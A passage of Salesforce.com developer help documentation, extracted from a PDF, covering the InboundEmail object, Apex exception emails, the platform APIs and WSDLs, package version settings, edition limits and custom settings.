HasOptedOutOfEmail=false);
insert c;

// Test with a subject that does not contain "unsubscribe."


email.subject = 'test';
env.fromAddress = 'user@acme.com';

// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe();

1574
Develop Using the InboundEmail Object

unsubscribeObj.handleInboundEmail(email, env );
}

InboundEmail Object
An InboundEmail object has the following fields.

Name Type Description


binaryAttachments InboundEmail.BinaryAttachment[] A list of binary attachments received with the email,
if any
Examples of binary attachments include image, audio,
application, and video files.

ccAddresses String[] A list of carbon copy (CC) addresses, if any


fromAddress String The email address that appears in the From field
fromName String The name that appears in the From field, if any
headers InboundEmail.Header[] A list of the RFC 2822 headers in the email, including:
• Recieved from
• Custom headers
• Message-ID
• Date

htmlBody String The HTML version of the email, if specified by the


sender
htmlBodyIsTruncated Boolean Indicates whether the HTML body text is truncated
(true) or not (false).
inReplyTo String The In-Reply-To field of the incoming email.
Identifies the email or emails to which this one is a
reply (parent emails). Contains the parent email or
emails' message-IDs.
messageId String The Message-ID—the incoming email's unique
identifier
plainTextBody String The plain text version of the email, if specified by the
sender
plainTextBodyIsTruncated Boolean Indicates whether the plain body text is truncated
(true) or not (false).
references String [] The References field of the incoming email. Identifies
an email thread. Contains a list of the parent emails'
References and message IDs, and possibly the
In-Reply-To fields.
replyTo String The email address that appears in the reply-to header
If there is no reply-to header, this field is identical to
the fromAddress field.

1575
Develop Using the InboundEmail Object

Name Type Description


subject String The subject line of the email, if any
textAttachments InboundEmail.TextAttachment[] A list of text attachments received with the email, if
any
The text attachments can be any of the following:
• Attachments with a Multipurpose Internet Mail
Extension (MIME) type of text
• Attachments with a MIME type of
application/octet-stream and a file name
that ends with either a .vcf or .vcs extension.
These are saved as text/x-vcard and
text/calendar MIME types, respectively.

toAddresses String[] The email address that appears in the To field

InboundEmail.Header Object
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following
fields.

Name Type Description


name String The name of the header parameter, such as Date or Message-ID
value String The value of the header

InboundEmail.BinaryAttachment Object
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.
Examples of binary attachments include image, audio, application, and video files.
An InboundEmail.BinaryAttachment object has the following fields.

Name Type Description


body Blob The body of the attachment
fileName String The name of the attached file
mimeTypeSubType String The primary and sub MIME-type

InboundEmail.TextAttachment Object
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.
The text attachments can be any of the following:
• Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
• Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs
extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.
An InboundEmail.TextAttachment object has the following fields.

1576
Develop Using the InboundEmail Object

Name Type Description


body String The body of the attachment
bodyIsTruncated Boolean Indicates whether the attachment body text is truncated (true) or not
(false).
charset String The original character set of the body field. The body is re-encoded as UTF-8
as input to the Apex method.
fileName String The name of the attached file
mimeTypeSubType String The primary and sub MIME-type

InboundEmailResult Object
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to
be successful. The InboundEmailResult object has the following fields.

Name Type Description


success Boolean A value that indicates whether the email was successfully processed.
If false, Salesforce.com rejects the inbound email and sends a reply email
to the original sender containing the message specified in the Message field.

message String A message that Salesforce.com returns in the body of a reply email. This field
can be populated with text irrespective of the value returned by the Success
field.

InboundEnvelope Object
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.

Name Type Description


toAddress String The name that appears in the To field of the envelope, if any
fromAddress String The name that appears in the From field of the envelope, if any

See Also:
Force.com Apex Code Overview
What are Email Services?
Developer's Guide: Force.com Apex Code Developer's Guide

1577
Develop Handling Apex Exceptions in Managed Packages

Handling Apex Exceptions in Managed Packages


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To create packages: “Create Force.com AppExchange Packages”
To upload packages: “Upload Force.com AppExchange Packages”
To create Apex: “Author Apex”

When you create a managed package for Force.com AppExchange, you can specify a user to receive an email notification when
an exception occurs that is not caught by an Apex script. Uncaught exceptions can be thrown from:

• A Visualforce action or getter method


• A Web service method
• A trigger

The email that is sent has the following format:


--------------------------------------------------------------------------------
Subject: Developer script exception from CLASSNAME Apex script unhandled trigger
exception by user/organization: USER_ID/ORG_ID EXCEPTION_STRING STACK_TRACE
--------------------------------------------------------------------------------
For example:
--------------------------------------------------------------------------------
From: Apex Application? <info@salesforce.com> To: joeuser@salesforce.com
<joeuser@salesforce.com> Subject: Developer script exception from Gack WS? Date:
Mon, 26 Nov 2007 14:42:41 +0000 (GMT) (06:42 PST) Apex script unhandled trigger
exception by user/organization: 010x0000000rfPg/00Fx00000009ejj TestException.Test
Exception?: Gack WS exception Class.Gack WS?.gackTestException: line 4, column 11
--------------------------------------------------------------------------------
The number of emails generated for the same error is limited to 10 messages with the same subject in a 60 second period.

See Also:
Force.com Apex Code Overview
Preparing Your Apps for Distribution
Developer's Guide: Force.com Apex Code Developer's Guide

1578
Develop What is the API?

What is the API?


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use the API “API Enabled”

Salesforce.com provides programmatic access to your organization’s information using a simple, powerful, and secure application
programming interface, the Web services API (the API).

When to Use the API?


You can use the SOAP-based API to create, retrieve, update or delete records, such as accounts, leads, and custom objects.
With more than 20 different calls, the API also allows you to maintain passwords, perform searches, and much more. Use the
API in any language that supports Web services.
For example, you can use the API to integrate Salesforce.com with your organization’s ERP and finance systems, deliver
real-time sales and support information to company portals, and populate critical business systems with customer information.

When to Use the Bulk API?


The REST-based Bulk API is optimized for loading or deleting large sets of data. It allows you to insert, update, upsert, or
delete a large number of records asynchronously by submitting a number of batches which are processed in the background
by Salesforce.com.
The SOAP-based API, in contrast, is optimized for real-time client applications that update small numbers of records at a
time. Although the SOAP-based API can also be used for processing large numbers of records, when the data sets contain
hundreds of thousands of records it becomes less practical. The Bulk API is designed to make it simple to process data from
a few thousand to millions of records.
The easiest way to use the Bulk API is to enable it for processing records in Data Loader using CSV files. This avoids the
need to write your own client application.

When to Use the Metadata API?


Use the Metadata API to retrieve, deploy, create, update or delete customization information, such as custom object definitions
and page layouts, for your organization. The most common usage is to migrate changes from a sandbox or testing organization
to your production organization. The Metadata API is intended for managing customizations and for building tools that can
manage the metadata model, not the data itself. To create, retrieve, update or delete records, such as accounts or leads, use
the API to manage your data.
The easiest way to access the functionality in the Metadata API is to use the Force.com IDE or Force.com Migration Tool.
These tools are built on top of the Metadata API and use the standard Eclipse and Ant tools respectively to simplify the task
of working with the Metadata API. Built on the Eclipse platform, the Force.com IDE provides a comfortable environment
for programmers familiar with integrated development environments, allowing you to code, compile, test, and deploy all from

1579
Develop Downloading Salesforce.com WSDLs and Client Authentication Certificates

within the IDE itself. The Force.com Migration Tool is ideal if you want to use a script or a command-line utility for moving
metadata between a local directory and a Salesforce.com organization.

See Also:
Downloading Salesforce.com WSDLs and Client Authentication Certificates
Web Services API Developer's Guide
Metadata API Developer's Guide
Bulk API Developer's Guide

Downloading Salesforce.com WSDLs and Client


Authentication Certificates
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To download a WSDL: “Customize Application”

You can download a Web Services Description Language (WSDL) document to integrate and extend Salesforce.com using
the Force.com API. With a Salesforce.com WSDL, you can easily integrate Salesforce.com with your applications or build
new applications that work with Salesforce.com.
The following WSDLs are available:

• Enterprise WSDL - This WSDL document is for customers who want to build an integration with their Salesforce.com
organization only. It is strongly typed, which means that it contains objects and fields with specific data types, such as int
and string. Customers who use the enterprise WSDL document must download and re-consume it whenever their
organization makes a change to its custom objects or fields or whenever they want to use a different version of the API.
• Partner WSDL - This WSDL document is for customers, partners, and ISVs who want to build an integration that can
work across multiple Salesforce.com organizations, regardless of their custom objects or fields. It is loosely typed, which
means that you work with name-value pairs of field names and values instead of specific data types. The partner WSDL
document only needs to be downloaded and consumed once per version of the API.
• Apex WSDL - This WSDL document is for users who want to run or compile Apex in another environment. See the
Force.com Apex Code Developer's Guide for details.
• Metadata WSDL - This WSDL document is for users who want to use the Force.com API metadata calls to migrate
configuration changes between organizations or work with the customizations in your organization as XML metadata files.
See the Force.com Metadata API Developer's Guide for details.

To download a WSDL document:

1. Click Setup ➤ Develop ➤ API.


2. Download the appropriate WSDL:

• If you are downloading an enterprise WSDL and you have managed packages installed in your organization, click
Generate Enterprise WSDL. Salesforce.com prompts you to select the version of each installed package to include in
the generated WSDL.

1580
Develop Downloading Salesforce.com WSDLs and Client Authentication Certificates

• Otherwise, right-click the link for the appropriate WSDL document to save it to a local directory. In the right-click
menu, Internet Explorer users can choose Save Target As, while Mozilla Firefox users can choose Save Link As.

3. On your computer, import the local copy of the WSDL document into your development environment.

Note: You can also select the default package versions without downloading a WSDL in the Package Version Settings
section.

Optionally, you can download a certificate to authenticate salesforce.com organizations. Use this certificate for workflow
outbound messaging. This certificate is meant to identify that the request is coming from salesforce.com, not a specific user.
If you want to use certificates to ensure secure connections using other Salesforce.com features, such as Apex callouts, use
Salesforce.com certificates and key pairs.
Click Setup ➤ Develop ➤ API, and on the WSDL Download page, right-click Download Client Certificate and save it
to an appropriate location. You can then import the downloaded certificate into your application server, and configure your
application server to request the client certificate.

See Also:
What is the API?
Defining Custom S-Controls
Force.com API Usage Limits
Managing Packages
Configuring Default Package Versions for API Calls
Documentation Resources for Force.com Developers

Generating an Enterprise WSDL with Managed Packages


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To download a WSDL: “Customize Application”

If you are downloading an enterprise WSDL and you have managed packages installed in your organization, you need to take
an extra step to select the version of each installed package to include in the generated WSDL. The enterprise WSDL is
strongly typed, which means that it contains objects and fields with specific data types, such as int and string.
The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor
numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch
release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package. A subscriber can select a package version for each installed managed package
to allow their API client to continue to function with specific, known behavior even when they install subsequent versions of
a package. Each package version can have variations in the composition of its objects and fields, so you must select a specific
version when you generate the strongly typed WSDL.

1581
Develop Configuring Default Package Versions for API Calls

To download an enterprise WSDL when you have managed packages installed:

1. Click Setup ➤ Develop ➤ API.


2. Click Generate Enterprise WSDL.
3. Select the Package Version for each of your installed managed packages. If you are unsure which package version to
select, you should leave the default, which is the latest package version.
4. Click Generate.
5. Use the File menu in your browser to save the WSDL to your computer.
6. On your computer, import the local copy of the WSDL document into your development environment.

Note the following in your generated enterprise WSDL:

• Each of your managed package version selections is included in a comment at the top of the WSDL.
• The generated WSDL contains the objects and fields in your organization, including those available in the selected versions
of each installed package. If a field or object is added in a later package version, you must generate the enterprise WSDL
with that package version to work with the object or field in your API integration.
• The SOAP endpoint at the end of the WSDL contains a URL with a format of
serverName/services/Soap/c/api_version/ID where api_version is the version of the API, such as 19.0, and
ID encodes your package version selections when you communicate with Salesforce.com.

You can also select the default package versions for the enterprise WSDL without downloading a WSDL in the Package
Version Settings section of Setup ➤ Develop ➤ API. Default package versions for API calls provide fallback settings if
package versions are not provided by an API call. Many API clients do not include package version information, so the default
settings maintain existing behavior for these clients.

See Also:
What is the API?
Downloading Salesforce.com WSDLs and Client Authentication Certificates
Configuring Default Package Versions for API Calls
Managing Packages
About Package Versions
Documentation Resources for Force.com Developers
Web Services API Developer's Guide

Configuring Default Package Versions for API Calls


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure default package versions for API calls: “Customize Application”

The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor
numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch
release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.

1582
Develop Configuring Default Package Versions for API Calls

For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
Default package versions for API calls provide fallback settings if package versions are not provided by an API call. Many API
clients do not include package version information, so the default settings maintain existing behavior for these clients.
You can specify the default package versions for enterprise API and partner API calls. The enterprise WSDL is for customers
who want to build an integration with their Salesforce.com organization only. It is strongly typed, which means that calls
operate on objects and fields with specific data types, such as int and string. The partner WSDL is for customers, partners,
and ISVs who want to build an integration that can work across multiple Salesforce.com organizations, regardless of their
custom objects or fields. It is loosely typed, which means that calls operate on name-value pairs of field names and values
instead of specific data types.
You must associate the enterprise WSDL with specific package versions to maintain existing behavior for clients. There are
options for setting the package version bindings for an API call from client applications using either the enterprise or partner
WSDL. The package version information for API calls issued from a client application based on the enterprise WSDL is
determined by the first match in the following settings.

1. The PackageVersionHeader SOAP header.


2. The SOAP endpoint contains a URL with a format of serverName/services/Soap/c/api_version/ID where
api_version is the version of the API, such as 19.0, and ID encodes your package version selections when the enterprise
WSDL was generated.
3. The default enterprise package version settings.

The partner WSDL is more flexible as it is used for integration with multiple organizations. If you choose the Not Specified
option for a package version when configuring the default partner package versions, the behavior is defined by the latest
installed package version. This means that behavior of package components, such as an Apex trigger, could change when a
package is upgraded and that change would immediately impact the integration. Subscribers may want to select a specific
version for an installed package for all partner API calls from client applications to ensure that subsequent installations of
package versions do not affect their existing integrations.
The package version information for partner API calls is determined by the first match in the following settings.

1. The PackageVersionHeader SOAP header.


2. An API call from a Visualforce page uses the package versions set for the Visualforce page.
3. The default partner package version settings.
To configure default package versions for API calls:

1. Click Setup ➤ Develop ➤ API.


2. Click Configure Enterprise Package Version Settings or Configure Partner Package Version Settings. These links are
only available if you have at least one managed package installed in your organization.
3. Select a Package Version for each of your installed managed packages. If you are unsure which package version to
select, you should leave the default selection.
4. Click Save.

1583
Develop Salesforce.com Editions and Limits

Note: Installing a new version of a package in your organization does not affect the current default settings.

See Also:
Downloading Salesforce.com WSDLs and Client Authentication Certificates
Managing Packages
About Package Versions
Documentation Resources for Force.com Developers
Web Services API Developer's Guide

Salesforce.com Editions and Limits


Use the table below to determine the features and maximum number of items supported in each Salesforce.com Edition. The
following sections provide more detailed information about their respective areas:

• Custom Fields Limit Details


• Rules Limit Details

Feature Personal Contact Group Professional Enterprise Unlimited Developer


Edition Manager Edition Edition Edition Edition Edition
Custom Apps Not 1 1 5 10 Unlimited 10
Available
(The custom apps
contained in a managed
package in a trial state or
the managed package of a
native application in any
state do not count against
the limits supported for
your Salesforce.com
Edition.)

Custom Objects Not 5 50 50 200 2,000 400


Available
(The custom objects
contained in a managed
package in a trial state or
the managed package of a
native application in any
state do not count against
the limits supported for
your Salesforce.com
Edition.)

Custom Report Types Not Not 50 50 200 2,000 400


Available Available

1584
Develop Salesforce.com Editions and Limits

Feature Personal Contact Group Professional Enterprise Unlimited Developer


Edition Manager Edition Edition Edition Edition Edition
(Limits apply to all custom
report types regardless of
development status.)

Tabs Not 3 5 10 25 Unlimited 100


Available
(The custom tabs
contained in a managed
package in a trial state or
the managed package of a
native application in any
state do not count against
the limits supported for
your Salesforce.com
Edition.)

Custom Fields 5 per object, 25 per 100 per 100 per 500 per 500 per 500 per
5 total object, 100 object, 100 object, 100 object, 500 object, 500 object, 500
(Additional restrictions
total total total total total total
apply for activities, long
text area fields,
relationship fields, and
roll-up summary fields.
For more information, see
Custom Fields Limit
Details.)

Active Lookup Filters 5 per object 5 per object 5 per object 5 per object 5 per object 5 per object 5 per object
Custom labels Not Not Not 5,000 5,000 5,000 5,000
Available Available Available
Active Rules Not Not Not 50 per 50 per 50 per 50 per
Available Available Available object object object object
(Limits apply to any
combination of active
workflow, assignment,
auto-response, and
escalation rules. For more
information, see Rules
Limit Details.)

Formulas: Maximum 3900 3900 3900 3900 3900 3900 3900


Number of Characters characters characters characters characters characters characters characters
Formulas: Maximum 4000 bytes 4000 bytes 4000 bytes 4000 bytes 4000 bytes 4000 bytes 4000 bytes
Formula Size (in Bytes)
When Saved

1585
Develop Salesforce.com Editions and Limits

Feature Personal Contact Group Professional Enterprise Unlimited Developer


Edition Manager Edition Edition Edition Edition Edition
Formulas: Maximum 5000 bytes 5000 bytes 5000 bytes 5000 bytes 5000 bytes 5000 bytes 5000 bytes
Formula Size (in Bytes)
When Compiled
Formulas: Number of 10 10 10 10 10 10 10
Unique Relationships Per
Object
Formulas: VLOOKUP 10 per 10 per 10 per 10 per 10 per 10 per 10 per
Functions object object object object object object object
Active Validation Rules Not 20 per 20 per 20 per 100 per 500 per 100 per
Available object object object object object object
Sharing Rules Not Not Not 100 100 100 100
Available Available Available
Scheduled Dashboard Not Not Not Not Up to 200, Up to 200, Not
Refreshes Available Available Available Available with a with a Available
maximum of maximum of
one two
scheduled scheduled
refresh per refreshes per
hour for hour for
each each
organization organization
Scheduled Reports Not Not Not Up to 200, Up to 200, Up to 200, Up to 200,
Available Available Available with a with a with a with a
maximum of maximum of maximum of maximum of
three one two three
scheduled scheduled scheduled scheduled
reports per report per reports per reports per
day for each hour for hour for day for each
organization each each organization
organization organization
(Limited to (Limited to
three three
preferred preferred
start times, start times,
which which
cannot be cannot be
changed) changed)

Analytic Snapshots Not Not Not Up to 200 Up to 200 Up to 200 Up to 200


Available Available Available for each for each for each for each
organization organization organization organization
(Limited to (Limited to (Limited to (Limited to
one preferred three one one preferred

1586
Develop Salesforce.com Editions and Limits

Feature Personal Contact Group Professional Enterprise Unlimited Developer


Edition Manager Edition Edition Edition Edition Edition
start time preferred preferred start time
per day, start times start time per day,
which per day, per hour, which
cannot be which which cannot be
changed) cannot be cannot be changed)
changed) changed)

Static Resources Not A single A single A single A single A single A single


Available static static static static static static
resource can resource can resource can resource can resource can resource can
be up to 5 be up to 5 be up to 5 be up to 5 be up to 5 be up to 5
MB in size. MB in size. MB in size. MB in size. MB in size. MB in size.
An An An An An An
organization organization organization organization organization organization
can have up can have up can have up can have up can have up can have up
to 250 MB to 250 MB to 250 MB to 250 MB to 250 MB to 250 MB
of static of static of static of static of static of static
resources, resources, resources, resources, resources, resources,
total. total. total. total. total. total.

Tags For all editions, a user is limited to a maximum of:


• 500 unique personal tags
• 5,000 instances of personal tags applied to records
Across all users, an organization is limited to:

• 1,000 unique public tags


• 50,000 instances of public tags applied to records
• 5,000,000 instances of personal and public tags applied to records

Custom Field Limit Details


In addition to the total custom field limits, the maximum number of activities, long text area fields, relationship fields, and
roll-up summary fields varies as well. The following table shows the maximum limits for each custom field type with respect
to edition.

Custom Field Personal Contact Group Professional Enterprise Developer Unlimited


Limits Edition Manager Edition Edition Edition Edition Edition
Activities No additional No additional No additional 20 100 100 100
limit limit limit
Long Text No additional 5 5 5 25 25 25
Area Fields limit
Relationship No additional 25 25 25 25 25 25
Fields limit

1587
Develop Salesforce.com Editions and Limits

Custom Field Personal Contact Group Professional Enterprise Developer Unlimited


Limits Edition Manager Edition Edition Edition Edition Edition
Roll-up No additional 10 10 10 10 10 10
Summary limit
Fields

Rules Limit Details


Different types of rules can have restrictions, depending on your Salesforce.com edition. The following table shows the
restrictions with respect to edition.

Restrictions Personal Contact Group Professional Enterprise Developer Unlimited


Edition Manager Edition Edition Edition Edition Edition
Total Rules Not Available Not Available Not Available 300 per object 300 per object 300 per object 300 per object
Allowed
1000 per org 1000 per org 1000 per org 1000 per org
(Limits apply
to any
combination
of workflow,
assignment,
auto-response,
and escalation
rules, both
active and
inactive.)

Workflow Not Available Not Available Not Available Not Available For Enterprise, Developer, and Unlimited
Rules and Editions, each workflow rule and approval
Approval process can have:
Processes • 10 time triggers
• 40 immediate actions
• 40 time-dependent actions per time trigger
Note that for both immediate and
time-dependent actions, there can be no more
than:
• 10 email alerts
• 10 tasks
• 10 field updates
• 10 outbound messages

Assignment, Not Available Not Available Not Available For Professional, Enterprise, Developer, and Unlimited
Auto-response, Editions, each assignment, auto-response, and escalation rule
and can have:
Escalation • 3000 rule entries
Rules • 300 formula criteria rule entries
• 25 filter criteria per rule entry

1588
Develop Custom Settings Overview

Restrictions Personal Contact Group Professional Enterprise Developer Unlimited


Edition Manager Edition Edition Edition Edition Edition
Workflow Not Available Not Available Not Available Not Available 500 50 1,000
Time Triggers
Per Hour
(For more
information,
see
Time-Dependent
Action and
Time Trigger
Considerations
on page 1408.)

Entitlement Not Available Not Available Not Available Not Available For Enterprise, Developer, and Unlimited
Processes and Editions, you can have:
Milestones • 20 Entitlement processes
• 10 Milestones for each entitlement process
Contact salesforce.com for information on
increasing the number of entitlement processes
and milestones.

See Also:
Monitoring Resources
Force.com API Usage Limits
Customer Portal Setup Limits
salesforce_app_limits_cheatsheet.pdf

Custom Settings Overview


Available in: Group, Personal, Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create
and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application
cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula
fields, validation rules, Apex, and the Web services API.
There are two types of custom settings:

1589
Develop Custom Settings Overview

List Custom Settings


A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you
use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access
to it. Data in list settings does not vary with profile or user, but is available organization-wide. Examples of list data
include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data
is cached, access is low-cost and efficient: you don't have to use SOQL queries that count against your governor limits.

Hierarchy Custom Settings


A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or
users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most
specific, or “lowest,” value. In the hierarchy, settings for an organization are overridden by profile settings, which, in
turn, are overridden by user settings.

The following examples illustrate how you can use custom settings:

• A Salesforce.com partner has created a shipping application that requires users to fill in the country codes for international
deliveries. By creating a list setting of all country codes, users have quick access to this data without needing to query the
database.
• A Salesforce.com partner has created an application to calculate and track compensation for its sales reps, but commission
percentages are based on seniority. By creating a hierarchy setting, the administrator can associate a different commission
percentage for each profile in the sales organization. Within the application, one formula field can then be used to correctly
calculate compensation for all users; the personalized settings at the profile level inserts the correct commission percentage.
• A Salesforce.com partner has created an application that displays a map of account locations, the best route to take, and
traffic conditions. This information is useful for sales reps, but account executives only want to see account locations. By
creating a hierarchy setting with custom checkbox fields for route and traffic, you can enable this data for just the “Sales
Rep” profile.

Follow these steps to create and use custom settings:

1. Create the custom setting.


2. Add fields to the custom setting.
3. Add data and set the access level for the custom setting data.
4. Reference the custom setting data in your application, using formula fields, validation rules, Apex, or the Web services
API.
You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the
Visibility setting.

Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must
populate the custom settings using a standard Apex or API script run by the subscribing organization after they have
installed the package.

Managing Custom Settings


Click New to create a new custom setting. After you create a custom setting, you must add fields to it.
After you create a custom setting, you can do any of the following:
• Click Edit next to the name of a custom setting to change the name, label, or description of a custom setting.
• Click Del to delete a custom setting.

1590
Develop Custom Settings Overview

Note: A icon indicates that the custom setting is in an installed managed package. You cannot edit or delete
a custom setting installed from a managed package.

• Click Manage to add data to a custom setting. You should add fields before you add data.

See Also:
Accessing Custom Settings
Custom Settings Limits
Defining Custom Settings
Viewing Custom Settings

Custom Settings Limits


Available in: Group, Personal, Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

Salesforce.com imposes these limits on the amount of cached data and on custom settings:

• 10 MB of cached data per organization.


• 300 fields per custom setting.
• You cannot share a custom setting object or record.
• No owner is assigned when a custom setting is created, so the owner cannot be changed.

See Also:
Custom Settings Overview
Accessing Custom Settings
Defining Custom Settings
Adding Custom Settings Fields
Adding Custom Settings Data

1591
Develop Custom Settings Overview

Accessing Custom Settings


Available in: Group, Personal, Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

You can access custom settings from formula fields, validation rules, Apex, and the Web services API. Some sample code
segments are provided below.
Formula Fields
Formula fields only work for hierarchy custom settings; they cannot be used for list custom settings. For more information
on using formula fields, see Creating On-Demand Applications: An Introduction to the Force.com Platform.

{!$Setup.CustomSettingName__c.CustomFieldName__c}

Apex
Apex scripts can access both custom setting types.
Note: If Privacy for a custom setting is Protected, and the custom setting is contained in a managed package,
the subscribing organization cannot edit the values or access them using Apex.

For more information on all the custom setting methods and Apex, see the Force.com Apex Code Developer's Guide.
Samples for List Custom Settings
When you add data to a custom setting, you must name each set of data. Then you can distinguish between the
sets of data by the data set name. The following returns a map of custom settings data. The getAll method returns
values for all custom fields associated with the list setting.

Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

The following example uses the getValues method to return all the field values associated with the specified
data set. This method can be used with both list and hierarchy custom settings, using different parameters.

CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

Samples for Hierarchy Custom Settings


The following example uses the getOrgDefaults method to return the data set values for the organization level:

CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

1592
Develop Defining Custom Settings

The following example uses the getInstance method to return the data set values for the specified profile. The
getInstance method can also be used with a user Id.

CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

Web Services API


Custom settings that have Privacy defined as Public are exposed to the API in the same way custom objects are exposed.
Note: If Privacy is defined as Protected, and the custom setting is contained in a managed package, the
custom setting is not accessible using the API in either the developer organization or a subscribing organization.

Use any tool with API access to perform query or profile-permission-setting operations. For more information, see the
Web Services API Developer's Guide.

See Also:
Custom Settings Overview
Custom Settings Limits
Defining Custom Settings
Force.com Apex Code Overview

Defining Custom Settings


Available in: Group, Personal, Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

To create or edit a custom setting:


1. Click Setup ➤ Develop ➤ Custom Settings.
2. Click New to create a new custom setting, click Edit next to the name of a custom setting, or click Edit while viewing the
details of a custom setting.

Note: A icon indicates that the custom setting is in an installed managed package. You cannot edit or delete
a custom setting installed from a managed package.

3. Define the following:

• Label—Enter the label displayed in the application.


• Object Name—Enter the name to be used when the custom setting is referenced by formula fields, validation rules,
Apex, or the Web services API.

1593
Develop Defining Custom Settings

Note: Salesforce.com recommends using ASCII for the Object Name. The name can't exceed 38 ASCII
characters. If you use double byte, there are additional limits on the number of characters allowed.

• Setting Type—Select a type of List or Hierarchy. The List type defines application-level data, such as country codes
or state abbreviations. The Hierarchy type defines personalization settings, such as default field values, that can be
overridden at lower levels in the hierarchy.
Important: After you save a custom setting, you cannot change this value.

• Visibility—Select a visibility of Protected or Public.

- Protected—If the custom setting is contained in a managed package, subscribing organizations can't see the custom
setting: it doesn't display as part of the package list. In addition, subscribing organizations can't access the custom
setting using either Apex or the API, however, developer organizations can. If the custom setting is contained in
an unmanaged package, the custom setting is available through the Enterprise WSDL like any custom object (as
if the Visibility was Public.)
- Public—The custom setting is available through the Enterprise WSDL like any custom object. You can package
custom settings defined as public. The subscribing organizations can edit the values, as well as access them using
Apex and the API, regardless of the type of package (either managed or unmanaged).

Important: After you save a custom setting, you cannot change this value.

4. Enter an optional description of the custom setting. A meaningful description will help you remember the differences
between your custom settings when you are viewing them in a list.
5. Click Save.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must
populate the custom settings using a standard Apex or API script run by the subscribing organization after they
have installed the package.

After you create a custom setting, you must also add fields to the custom setting.

See Also:
Custom Settings Overview
Adding Custom Settings Fields
Adding Custom Settings Data

1594
Develop Viewing Custom Settings

Viewing Custom Settings


Available in: Group, Personal, Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

After you create a custom setting, you can view the details of the custom setting, manage the custom setting, and add fields.
Click Setup ➤ Develop ➤ Custom Settings, then click the name of the custom setting you'd like to view. While viewing a
custom setting, you can do any of the following:

• Click Edit to make changes to a custom setting.


• Click Delete to delete a custom setting.

Note: A icon indicates that the custom setting is in an installed managed package. You cannot edit or delete
a custom setting installed from a managed package.

• Click Manage to add data to a custom setting.

In addition, click New to add fields to the custom setting.

See Also:
Custom Settings Overview
Accessing Custom Settings
Defining Custom Settings

Adding Custom Settings Fields


Available in: Group, Personal, Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

After you define custom settings, you need to add custom fields to it. The custom fields contain the data, used by the custom
setting.
To add custom fields to a custom setting:

1. Click Setup ➤ Develop ➤ Custom Settings.

1595
Develop Managing Custom Settings Data

2. Click the name of the custom setting that you want to add fields to. (If you just created a custom setting, you are taken
directly to the Custom Setting Detail page.)
3. Click New.
4. Select a field type and click Next.
5. Enter the details for your custom field.
6. Once you confirm the information, click Save or Save & New.

After you add the required fields, you need to add data and for hierarchy custom settings, specify the access level.

See Also:
Custom Settings Overview
Defining Custom Settings
Adding Custom Settings Data

Managing Custom Settings Data


Available in: Group, Personal, Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

After defining custom settings and adding fields, populate the fields using the following steps:

1. Click Setup ➤ Develop ➤ Custom Settings.


2. Click Manage next to a custom setting. Or from the detail page for a custom setting, click Manage.
3. Provide or change values for the custom setting.

• If you are managing a list setting:

- Click New to add data to the fields.


- Click Edit next to the name of an existing set of data to change the name of the data set or to change the data.
- Click Del next to the name of an existing set of data to delete the data set.

• If you are managing a hierarchy setting, decide where in the permission hierarchy you want to add default data
(organization, profile, or user).
To add default data at the organization level:

- Click New in the Default Organization Level Value section. If data has already been defined for the organization,
you can only edit or delete it.

To add default data at the profile or user level:

- Click New in the lower section of the page, near the Setup Owner.

After you have already defined data, you can do any of the following:

1596
Develop Managing Custom Settings Data

• Click Edit in the Default Organization Level Value section to change the default data set at the organization level, or
Delete to delete it (this is only for hierarchical custom settings.)
